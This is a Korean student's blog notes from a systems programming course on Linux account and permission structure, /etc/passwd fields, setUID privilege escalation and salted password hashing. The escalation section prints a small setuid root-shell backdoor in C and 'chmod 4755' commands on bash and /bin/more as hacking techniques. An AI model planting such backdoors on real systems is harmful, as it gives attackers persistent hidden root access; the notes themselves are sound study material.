본문 바로가기
2022-2/시스템 프로그래밍

계정과 권한/패스워드 크래킹

by 철없는민물장어 2022. 11. 22.
728x90
  • 리눅스/유닉스의 계정과 권한 체계
  • 리눅스/유닉스의 권한 상승
  • 윈도우의 계정과 권한 체계
  • 윈도우의 권한 상승

 


리눅스/유닉스의 계정과 권한

 

리눅스 시스템의 계정과 권한 체계

root라고 불리는 관리자일반 사용자 계정만 있음

계정 목록을 /etc/passwd 파일에 저장 

 

/etc/passwd 파일 내용

1)root : 2)x : 3)0 : 4)0 : 5)root : 6)/root : 7)/bin/bash

 

1)id : 2)패스워드(암호화됨) : 3)UID : 4)GID : 5)이름 : 6)홈 디렉터리 : 7)사용자 셸

 

 


파일정보

drwxrwxrwx, 1 root rot 

접근권한,링크수,소유자,그룹

 

소유자변경(chown/chgrp 새 소유자 파일명)

,권한변경(chmod 644 파일명),umask등 이전에 배운 내용과 같음

시스템 전체의 umask값은 관리자만 변경가능하다. 

 


리눅스/유닉스의 권한 상승

 

setUID를 이용한 권한 상승

이 setUID를 이용한 해킹기법도 존재함.

 

#1. 셸에 setUID 주기 

내가 root로 접속할 수 있다는 전제

$ chmod 4755 bash

셸에다가 setUID를 줘버림

 

ㄹ근데 이건 안된다함;;.;.;.;.;

 

#2 backdoor.c

#include <stdio.h>
main()
{
	setuid(0);
    setgid(0);
    system("/bin/bash");
}

요런 코드를 작성해서 root계정으로 컴파일하고, 4755권한을 부여해보자.

 

#3 more 명령어에 setUID 권한부여

chmod 4755 /bin/more

root권한으로 4755권한을 부여하고, 일반계정으로 more 수행시 root권한이 부여됨

 

more뿐만 아니라 vi 등에도 적용가능

 


패스워드 크래킹

해시

임의의 데이터로부터 일종의 짧은 '전자 지문'을 만들어 내는 방법.

해시 알고리즘의 결과물은 복호화가 불가능하다

 

아니, 복호화가 안 되는데 이걸 어디다 써?

진위여부 확인할 때 쓴다.

 

로직을 알더라도 기본적인 해쉬 알고리즘에서 값을 버리기 때문에 해시값을 이용해서 원래의 값을 알 수가 없다.

로직을 아는 경우 해시값을 구하기가 쉬워 검증이 용이하다

원본데이터에서 값이 아주 조금만 다르더라도 해시값은 매우 상이하게 생성되기에 검증이 용이하다.

 

근데...

철수와 영희의 암호를 해시값으로 저장해두었다고 하자

철수 암호의 해시값이 1A2BC,

영희의 암호의 해시값이 1A2BC 이면..?

원본은 모르겠고~ 철수랑 영희 암호가 서로 같다는걸 알 수 있게 된다..

 

이런 상황을 막기 위해 해시,암호화 할 때, 추가적인 값(salt)를 첨가하여 암호화한다.

철수의 salt는 a2, 영희의 salt가 4F이면 

기존의 암호가 똑같더라도 salt로 인해 다른 해시값이 나오게 되는것이다.

이후에, 시스템이 패스워드와 어떤salt를 합했는지 기억하기위해

패스워드파일에 저장 시 해시값 앞이나 뒤에 salt값을 붙여 둔다 

728x90

'2022-2 > 시스템 프로그래밍' 카테고리의 다른 글

백도어  (0) 2022.12.06
9장 프로세스 제어  (1) 2022.11.16
10장 메모리 관리  (0) 2022.11.11
8장 프로세스  (1) 2022.11.08
5. 파일 시스템  (0) 2022.11.02

댓글